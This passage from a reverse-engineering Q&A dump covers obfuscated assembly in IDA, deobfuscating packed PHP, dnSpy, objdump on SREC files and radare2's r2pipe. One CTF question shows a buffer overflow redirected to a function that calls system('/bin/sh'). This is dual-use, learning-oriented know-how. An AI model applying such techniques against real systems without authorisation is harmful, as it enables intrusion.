sense):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp [rcx],rdi             ; if *rcx == rdi:&#xA;cmove eax,r15d            ; do eax = r15d&#xA;add rcx,08                ; rcx += 8&#xA;dec rdx                   ; i -= 1&#xA;mov [rsp-08],rbp          ; var a = rbp&#xA;lea rsp,[rsp-08]          ; rsp = &amp;amp;a&#xA;mov rbp,game.exe+13139A0  ; rbp = game.exe+13139A0&#xA;xchg [rsp],rbp            ; swap(a, rbp) i.e.&#xA;                          ;   a = game.exe+13139A0&#xA;                          ;   rbp = rbp (original value)&#xA;lea rsp,[rsp-08]          ; var b; rsp = &amp;amp;b&#xA;mov [rsp],rbx             ; b = rbx&#xA;lea rsp,[rsp-08]          ; var c; rsp = &amp;amp;c&#xA;mov [rsp],rax             ; c = rax&#xA;mov rbx,[rsp+10]          ; rbx = a&#xA;mov rax,game.exe+1313990  ; rax = game.exe+1313990&#xA;cmovne rbx,rax            ; rbx = i == 0 ? rax : rbx&#xA;mov [rsp+10],rbx          ; a = rbx&#xA;lea rsp,[rsp+08]          ; rsp = &amp;amp;b&#xA;mov rax,[rsp-08]          ; rax = c&#xA;mov rbx,[rsp]             ; rbx = b&#xA;lea rsp,[rsp+08]          ; rsp = &amp;amp;a&#xA;lea rsp,[rsp+08]          ; rsp = &amp;amp;???&#xA;jmp qword ptr [rsp-08]    ; jmp a i.e.&#xA;                          ;   i == 0: game.exe+1313990&#xA;                          ;   i != 0: game.exe+13139A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="1413" LastEditDate="2018-05-23T05:52:27.380" LastActivityDate="2018-05-23T08:54:52.423" Title="IDA 7.0 (freeware) auto-analysis gets stuck in a loop" Tags="|ida|assembly|deobfuscation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18333" PostTypeId="2" ParentId="18331" CreationDate="2018-05-23T08:20:46.493" Score="1" Body="&lt;p&gt;This is not that hard task as one can image, only a bit tedious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you should reformat those files to have some of the structure reconstructed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/pawlos/bd3838d04cbbe094e534c5bd8b532b69&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/pawlos/bd3838d04cbbe094e534c5bd8b532b69&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With only such small task you can see some SQL queries that go to the DB for user and password data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that, you can start renaming the obfuscated variables or converting those &lt;code&gt;round(round(0) + 1.75 + 1.75 + 1.75 + 1.75)&lt;/code&gt; to actual numerical values (&lt;code&gt;7&lt;/code&gt; in this case).&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-05-23T08:20:46.493" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18336" PostTypeId="2" ParentId="18332" CreationDate="2018-05-23T08:54:52.423" Score="2" Body="&lt;p&gt;Undefining the code piece, which makes autoanalysis stuck, usually helps. You can always return to this part and make it code again after autoanalysis is complete.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-23T08:54:52.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18337" PostTypeId="2" ParentId="18331" CreationDate="2018-05-23T09:58:28.093" Score="2" Body="&lt;p&gt;use a script like this to get a beautified php code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &#xA;do not use jsbeautier  install pear and use PHP_Beautifier instead &#xA;there are lot of white space differences between PHP_Beautifier and jsbeautifier&#xA;some of them are fatal like below or better use one of the online services like &lt;strong&gt;&lt;a href=&quot;https://www.unphp.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;unphp&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tpl - &amp;gt; $pdo  instead of $tpl-&amp;gt;$pdo (notice the space between - &amp;gt; which   &#xA;would not let php compile the script &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;commented out the jsbeautifier part in the script below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import base64&#xA;import zlib&#xA;import jsbeautifier&#xA;&#xA;f1 = open(sys.argv[1],&quot;rb&quot;)&#xA;f2 = open(sys.argv[2],&quot;wb&quot;)&#xA;f3 = open(sys.argv[3],&quot;wb&quot;)&#xA;#f4 = open(sys.argv[4],&quot;wb&quot;)&#xA;base64.decode(f1,f2)&#xA;f1.close()&#xA;f2.close()&#xA;f2 = open(sys.argv[2],&quot;rb&quot;)&#xA;dat = f2.read()&#xA;f2.close()&#xA;decom = zlib.decompress(dat)&#xA;f3.write(decom)&#xA;f3.close()&#xA;#f3 = open(sys.argv[3],&quot;rb&quot;)&#xA;#uglyjs=f3.read()&#xA;#f3.close()&#xA;&#xA;#beaujs = jsbeautifier.beautify(uglyjs)&#xA;#f4.write(beaujs)&#xA;#f4.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage copy the base64 encoded string to a file say b64.dat&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -l 10 b64.dat&#xA;0000000: 6546 3746 572f 7554 3238                 eF7FW/uT28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and excute the script like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python decodebase64.py b64.dat B64.DEC B64.UJS B64.PHP&#xA;&#xA;&#xA;:\&amp;gt;HEAD B64.PHP -n 5&#xA;if (isset($_SESSION['id'])) {&#xA;    header('Location: ../');&#xA;    exit();&#xA;}&#xA;$message = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also setup an apache and run the file in phpdbg to evaluate things &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope you have other template files in proper directories it tries to load some some template files like elements\xxx.tpl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;foodown.php is the content of first link in your query split into multiple lines&lt;br&gt;&#xA;like $a = base64_xxx&lt;br&gt;&#xA;$b = gzunzip($a)&lt;br&gt;&#xA;eval($b)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;phpdbg -p* foodown.php&#xA;function name: (null)&#xA;L1-5 {main}() C:\Users\XXX\Desktop\foodown.php - 0x1a7e000 + 10 ops&#xA; L2    #0     INIT_FCALL&amp;lt;1&amp;gt;           64                   &quot;base64_decode&quot;&#xA; L2    #1     SEND_VAL                &quot;eF7FW/uT28aR/lcYZ&quot;+ 1&#xA; L2    #2     DO_ICALL                                                          @0&#xA; L2    #3     ASSIGN                  $a                   @0&#xA; L3    #4     INIT_FCALL&amp;lt;1&amp;gt;           64                   &quot;gzuncompress&quot;&#xA; L3    #5     SEND_VAR                $a                   1&#xA; L3    #6     DO_ICALL                                                          @2&#xA; L3    #7     ASSIGN                  $b                   @2&#xA; L4    #8     INCLUDE_OR_EVAL&amp;lt;1&amp;gt;      $b&#xA; L5    #9     RETURN&amp;lt;-1&amp;gt;              1&#xA;[Script ended normally]&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-24T17:56:46.573" LastActivityDate="2018-05-24T17:56:46.573" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18338" PostTypeId="1" AcceptedAnswerId="18339" CreationDate="2018-05-23T14:05:09.150" Score="6" ViewCount="6425" Body="&lt;p&gt;When decompiling a dll file there are certain lines of code that read like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return \u0013.\u0002.\u0001(url, info);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two questions on this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) does &lt;code&gt;\u00xx&lt;/code&gt; mean that it is obfuscated, if yes, what steps can I take to understand it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  what are the &lt;code&gt;.&lt;/code&gt; between each one, is it a dnSpy thing or does it mean something in C#&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-05-23T15:25:56.880" Title="dnSpy - What do these symbols mean?" Tags="|decompilation|dll|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18339" PostTypeId="2" ParentId="18338" CreationDate="2018-05-23T15:25:56.880" Score="7" Body="&lt;p&gt;These are &lt;a href=&quot;https://en.wikipedia.org/wiki/Unicode&quot; rel=&quot;noreferrer&quot;&gt;Unicode&lt;/a&gt; characters that are not supported by the font used by dnSpy.&#xA;Usually, you'll see it when the code is obfuscated or in cases where the developer used languages as Chinese and Russian in their code. But yeah, usually obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to deobfuscate this .Net binary by using &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;noreferrer&quot;&gt;de4dot&lt;/a&gt; which is doing an incredible job with deobfuscating obfuscated .net applications. de4dot's engine was later used to create &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt; which is my favorite .Net decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The separating dots are the &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/member-access-operator&quot; rel=&quot;noreferrer&quot;&gt;dot Operator&lt;/a&gt;, just as in most popular programming languages, the dot operator is used to access members of variables, types, etc. &quot;Members&quot; can be a method, attribute, and others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;code&gt;\u0001&lt;/code&gt; is a method of &lt;code&gt;\u0002&lt;/code&gt; which is a member of the variable &lt;code&gt;\u0013&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-05-23T15:25:56.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18340" PostTypeId="1" CreationDate="2018-05-23T16:28:07.987" Score="3" ViewCount="920" Body="&lt;p&gt;I'm working on a buffer overflow CTF challenge. The binary for this challenge includes a &lt;code&gt;give_shell&lt;/code&gt; function (they cover shellcode in the next challenge)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can successfully overwrite the saved EIP on the stack to redirect execution to the 'give_shell' function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080484cb  push    ebp&#xA;080484cc  mov     ebp, esp&#xA;080484ce  sub     esp, 0x8&#xA;080484d1  sub     esp, 0xc&#xA;080484d4  push    0x80485f0 {var_1c}  {&quot;/bin/sh&quot;}&#xA;080484d9  call    system&#xA;080484de  add     esp, 0x10&#xA;080484e1  nop     &#xA;080484e2  leave    {__saved_ebp}&#xA;080484e3  retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, even though I can confirm in GDB that the program is stepping through the &lt;code&gt;give_shell&lt;/code&gt; function - no shell launches, either in GDB, locally or using Netcat to the actual CTF server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure what I am missing here. Is this a case where I need to bind or reverse the shell in order to be able to use it interactively? I've seen that discussed in shellcode examples, but not sure how to do it in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-07-25T10:00:47.017" Title="Buffer overflow challenge - shell not opening" Tags="|gdb|buffer-overflow|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="18341" PostTypeId="1" AcceptedAnswerId="18343" CreationDate="2018-05-23T16:44:21.493" Score="6" ViewCount="29393" Body="&lt;p&gt;I am trying to use &lt;code&gt;objdump -d fileName&lt;/code&gt; on a s-rec file and it returns unknown architecture, however it recognizes &lt;code&gt;fileName: file format srec&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;code&gt;objdump --help&lt;/code&gt; and under supported targets srec and symbolsrec is listed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump -d -M srec myFile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump -d -m srec myFile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to tackle this? Alternatives?&lt;/p&gt;&#xA;" OwnerUserId="24346" LastEditorUserId="24346" LastEditDate="2018-05-23T22:00:37.517" LastActivityDate="2020-06-03T21:49:21.887" Title="objdump: can't disassemble for architecture UNKNOWN!" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18342" PostTypeId="1" AcceptedAnswerId="18345" CreationDate="2018-05-23T17:18:36.893" Score="5" ViewCount="909" Body="&lt;p&gt;I understand that I can execute my script within a session using &lt;code&gt;[0x401000]&amp;gt; . server.py&lt;/code&gt; and the pipe will be connected to it when I call &lt;code&gt;r2pipe.open()&lt;/code&gt; with no arguments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to spawn a simple tcp server in python which waits for specific commands from a client. The client is invoked from a live r2 session like &lt;code&gt;[0x401000]&amp;gt; . client.py --command doAnalysis&lt;/code&gt;. The command is passed to the server which opens a pipe to my r2 session, performs the analysis, then maybe updates my session (really to just be able to run commands from the server which was not opened from my r2 session). The reason I require the server to always be running is because it will be collecting data and I don't want to be re-collecting that data every time I need to do some analysis. I can't invoke the server from my r2 session because the session will be blocked by the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if the server could open an r2pipe directly to my r2 session but I don't know how to do that or if is even possible. I tried using pickle to send the r2 instance over a socket but it couldn't pickle it. Any thoughts? &lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2018-05-23T19:44:09.310" Title="Is there a way to explicitly connect r2pipe to an existing radare2 session that I have open?" Tags="|debugging|radare2|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18343" PostTypeId="2" ParentId="18341" CreationDate="2018-05-23T19:05:34.377" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/SREC_(file_format)&quot; rel=&quot;noreferrer&quot;&gt;SREC (aka S-Record) format&lt;/a&gt; is similar to raw binary - it contains just the byte values but, unlike ELF, no metadata about the CPU or OS used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the CPU used, you can pass it to &lt;code&gt;objdump&lt;/code&gt; with the &lt;code&gt;-m&lt;/code&gt; switch, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump -m arm -D file.srec&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally &lt;code&gt;objdump&lt;/code&gt; should recognize the format automatically but you can also specify it explicitly with &lt;code&gt;-b srec&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common CPUs used with these files include former Motorola series such as 6800/6812 (and derived Freescale's HC12), 68K/Coldfire but sometimes also others, e.g. 8051&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;objdump -i&lt;/code&gt; to list the processors and file formats supported by your build . You may need to make a custom binutils build to support your target CPU.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-23T19:05:34.377" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18344" PostTypeId="2" ParentId="18331" CreationDate="2018-05-23T19:26:31.703" Score="1" Body="&lt;p&gt;Here's your deobfuscated file, note that I do not give guarantees, there was some manual work done and I may have removed important lines, more on that below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;&#xA;if (isset($_SESSION['id'])) {&#xA;    header('Location: ../');&#xA;    exit();&#xA;}&#xA;&#xA;$message = '';&#xA;if (isset($_GET['data']) &amp;amp;&amp;amp; isset($_GET['a'])) {&#xA;    $id  = check($_GET['a'], &quot;int&quot;);&#xA;    $STH = $pdo-&amp;gt;prepare(&quot;SELECT `id`, `login`, `email` FROM `users` WHERE `id`=:id LIMIT 1&quot;);&#xA;    $STH-&amp;gt;setFetchMode(PDO::FETCH_OBJ);&#xA;    $STH-&amp;gt;execute(array(&#xA;        ':id' =&amp;gt; $id&#xA;    ));&#xA;    $row = $STH-&amp;gt;fetch();&#xA;    if (empty($row-&amp;gt;id)) {&#xA;        show_error_page();&#xA;    }&#xA;    if ($_GET['data'] != md5($row-&amp;gt;id . $conf-&amp;gt;code . $row-&amp;gt;email . date(&quot;Y-m-d&quot;))) {&#xA;        $message = '&amp;lt;p class=\'text-danger\'&amp;gt;' . $messages['Link_not_active'] . '&amp;lt;/p&amp;gt;';&#xA;    } else {&#xA;        $password  = crate_pass(7, 1);&#xA;        $password2 = convert_password($password, $conf-&amp;gt;salt);&#xA;        $STH = $pdo-&amp;gt;prepare(&quot;UPDATE `users` SET `password`=:password WHERE `id`=:id LIMIT 1&quot;);&#xA;        if ($STH-&amp;gt;execute(array(&#xA;            ':password' =&amp;gt; $password2,&#xA;            ':id' =&amp;gt; $id&#xA;        )) == '1') {&#xA;            include_once &quot;inc/notifications.php&quot;;&#xA;            $letter = recovery_letter($conf-&amp;gt;name, $row-&amp;gt;login, $password);&#xA;            sendmail($row-&amp;gt;email, $letter['subject'], $letter['message'], $pdo);&#xA;            $message = '&amp;lt;p class=\'text-success\'&amp;gt;' . $messages['Recovery_pass1'] . $row-&amp;gt;email . $messages['Recovery_pass2'] . '&amp;lt;/p&amp;gt;';&#xA;            write_log(&quot;User reinstated pass #&quot; . $row-&amp;gt;email);&#xA;        } else {&#xA;            $message        = '&amp;lt;p class=\'text-danger\'&amp;gt;' . $messages['Error_page'] . '&amp;lt;/p&amp;gt;';&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;$tpl-&amp;gt;load_template('elements/title.tpl');&#xA;$tpl-&amp;gt;set(&quot;{title}&quot;, $page-&amp;gt;title);&#xA;$tpl-&amp;gt;set(&quot;{name}&quot;, $conf-&amp;gt;name);&#xA;$tpl-&amp;gt;compile('title');&#xA;$tpl-&amp;gt;clear();&#xA;$tpl-&amp;gt;load_template('head.tpl');&#xA;$tpl-&amp;gt;set(&quot;{title}&quot;, $tpl-&amp;gt;result['title']);&#xA;$tpl-&amp;gt;set(&quot;{site_name}&quot;, $conf-&amp;gt;name);&#xA;$tpl-&amp;gt;set(&quot;{image}&quot;, $page-&amp;gt;image);&#xA;$tpl-&amp;gt;set(&quot;{robots}&quot;, $page-&amp;gt;robots);&#xA;$tpl-&amp;gt;set(&quot;{type}&quot;, $page-&amp;gt;kind);&#xA;$tpl-&amp;gt;set(&quot;{description}&quot;, $page-&amp;gt;description);&#xA;$tpl-&amp;gt;set(&quot;{keywords}&quot;, $page-&amp;gt;keywords);&#xA;$tpl-&amp;gt;set(&quot;{url}&quot;, $page-&amp;gt;full_url);&#xA;$tpl-&amp;gt;set(&quot;{other}&quot;, '');&#xA;$tpl-&amp;gt;set(&quot;{token}&quot;, $token);&#xA;$tpl-&amp;gt;set(&quot;{cache}&quot;, $conf-&amp;gt;cache);&#xA;$tpl-&amp;gt;set(&quot;{template}&quot;, $conf-&amp;gt;template);&#xA;$tpl-&amp;gt;set(&quot;{site_host}&quot;, $site_host);&#xA;$tpl-&amp;gt;compile('content');&#xA;$tpl-&amp;gt;clear();&#xA;&#xA;$menu = $tpl-&amp;gt;get_menu($pdo);&#xA;$nav                 = array(&#xA;    $PI-&amp;gt;to_nav('main', 0, 0),&#xA;    $PI-&amp;gt;to_nav('recovery', 1, 0)&#xA;);&#xA;&#xA;$nav                 = $tpl-&amp;gt;get_nav($nav, 'elements/nav_li.tpl');&#xA;include_once &quot;inc/not_authorized.php&quot;;&#xA;$tpl-&amp;gt;load_template('/index/recovery.tpl');&#xA;$tpl-&amp;gt;set(&quot;{site_host}&quot;, $site_host);&#xA;$tpl-&amp;gt;set(&quot;{template}&quot;, $conf-&amp;gt;template);&#xA;$tpl-&amp;gt;set(&quot;{message}&quot;, $message);&#xA;$tpl-&amp;gt;compile('content');&#xA;$tpl-&amp;gt;clear();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote a small Python script to get rid of the annoying &lt;code&gt;round()&lt;/code&gt; calls. It simply uses a regex to find all non-nested &lt;code&gt;round(...)&lt;/code&gt; calls, dumps a small PHP script, runs PHP on it and retrieves the output because I didn't trust Python's &lt;code&gt;round&lt;/code&gt; to be perfectly equal in corner cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import subprocess&#xA;import re&#xA;import sys&#xA;&#xA;def php_eval(code):&#xA;    code = &quot;&amp;lt;?php echo(&quot; + code + &quot;); ?&amp;gt;&quot;&#xA;    open(&quot;/tmp/eval&quot;,&quot;w&quot;).write(code)&#xA;    return subprocess.check_output([&quot;php&quot;,&quot;/tmp/eval&quot;]).decode(&quot;ascii&quot;)&#xA;&#xA;def deob(fname):&#xA;    obf = open(fname,&quot;r&quot;).read()&#xA;&#xA;#    while True:&#xA;#        m = re.search(r'\[round.+?\]',obf)&#xA;#        if m:&#xA;#            s = m.group(0)&#xA;#            print(&quot;Matched %s&quot; % s)&#xA;#            repl = php_eval(s[1:-1])&#xA;#            print(&quot;Replacing %s with %s&quot; % (s,repl))&#xA;#            obf = obf.replace(s,&quot;[&quot;+repl+&quot;]&quot;)&#xA;#        else:&#xA;#            break&#xA;&#xA;#    while True:&#xA;#        m = re.search(r'\$GLOBALS\[\'_174350175_\'\]\[\d+?\]',obf)&#xA;#        if m:&#xA;#            s = m.group(0)&#xA;#            obf = obf.replace(s,&quot;round&quot;)&#xA;#        else:&#xA;#            break&#xA;&#xA;    while True:&#xA;        m = re.search(r'round\([^\(]+?\)',obf)&#xA;        if m:&#xA;            s = m.group(0)&#xA;            repl = php_eval(s)&#xA;            print(&quot;Replacing %s with %s&quot; % (s,repl))&#xA;            obf = obf.replace(s,repl)&#xA;        else:&#xA;            break&#xA;&#xA;&#xA;    return obf&#xA;&#xA;plain = deob(sys.argv[1])&#xA;open(sys.argv[2],&quot;w&quot;).write(plain)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I threw the code into a PHP beautifier: &lt;a href=&quot;http://www.phpformatter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.phpformatter.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the manual part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some patterns the obfuscator creates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (3171 - 3171)&#xA;    bin2hex($seneiuhtrbbit, $likgfowocfbgko, $_SESSION);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while loops that never execute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((3165 ^ 3165) &amp;amp;&amp;amp; preg_split($seneiuhtrbbit))&#xA;    fgetss($pdo, $nav);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if clauses that never execute because the 1st part evaluates to false already.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(3253 - 3253 + 3158 - 3158) ? strnatcmp($pdo, $letter, $password) : mt_rand(806, 3253);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ternary operator usage that effectively is a nop (condition evaluates to false, making it call &lt;code&gt;mt_rand&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some others. I removed those manually, which gives the above script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to deobfuscate the &lt;code&gt;route.php&lt;/code&gt;, you may want to uncomment the blocks in above script, as it adds another layer of &lt;code&gt;rounds&lt;/code&gt; but I didn't continue. You would also need to text-replace the function calls back in from the 2nd GLOBAL array.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-23T19:26:31.703" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18345" PostTypeId="2" ParentId="18342" CreationDate="2018-05-23T19:44:09.310" Score="7" Body="&lt;p&gt;I'm not sure I fully understood you, but I'll give it a try anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following instructions will explain how to achieve something like this:|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CXWs9.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CXWs9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;radare2 comes with its own webserver. Although at first, it might seems like an overkill, its actually quite useful, especially when you want to debug embedded systems, or simply to execute commands from a remote terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply launch the web server with &lt;code&gt;=h &amp;lt;port&amp;gt;&lt;/code&gt; and connect to it with any HTTP client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can print the help for this command by using &lt;code&gt;=h?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; =h?&#xA;|Usage:  =[hH] [...] # http server&#xA;| http server:&#xA;| =h port       listen for http connections (r2 -qc=H /bin/ls)&#xA;| =h-           stop background webserver&#xA;| =h--          stop foreground webserver&#xA;| =h*           restart current webserver&#xA;| =h&amp;amp; port      start http server in background&#xA;| =H port       launch browser and listen for http&#xA;| =H&amp;amp; port      launch browser and listen for http in background&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So let's use a oneliner command to spawn a radare2 web server with a session to our beloved &lt;code&gt;/bin/ls/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -c=h /bin/ls&#xA;Starting http server...&#xA;open http://localhost:9090/&#xA;r2 -C http://localhost:9090/cmd/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good, now that we have an HTTP server running with an open session, let's connect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this with &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl http://127.0.0.1:9090/cmd/?EHello,World!&#xA; .--.     .--------------.&#xA; | _|     |              |&#xA; | O O   &amp;lt;  Hello,World! |&#xA; |  |  |  |              |&#xA; || | /   `--------------'&#xA; |`-'|&#xA; `---'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can even do this from your favorite browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0X4Mh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0X4Mh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's cool, it isn't helping you -- you asked for a solution using r2pipe. Well... there is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is r2pipe?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The r2pipe APIs are based on a single r2 primitive found behind&#xA;  r_core_cmd_str() which is a function that accepts a string parameter&#xA;  describing the r2 command to run and returns a string with the result.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Source: &lt;a href=&quot;https://github.com/radare/radare2-r2pipe&quot; rel=&quot;noreferrer&quot;&gt;r2pipe repository&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you probably know, using python, you can just do &lt;code&gt;import r2pipe&lt;/code&gt; and &lt;code&gt;r2pipe.open(&quot;/bin/ls&quot;)&lt;/code&gt; to open a radare2 session with &quot;/bin/ls&quot;. Did you know that you can connect with r2pipe to a remote web server? Yup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's write a quick script to do so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;&#xA;print(&quot;[+] Connecting with python r2pipe&quot;)&#xA;&#xA;r2_remote = r2pipe.open(&quot;http://127.0.0.1:9090&quot;)&#xA;command = &quot;?E Welcome from server!&quot;&#xA;&#xA;while command != &quot;stop&quot;:&#xA;    print (r2_remote.cmd(command))&#xA;    command = raw_input(&quot;r2cmd &amp;gt; &quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the script to &lt;code&gt;poc.py&lt;/code&gt; on you drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's run &lt;code&gt;r2 -c=h /bin/ls&lt;/code&gt; in one terminal and &lt;code&gt;python poc.py&lt;/code&gt; in another one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s6Rbw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6Rbw.png&quot; 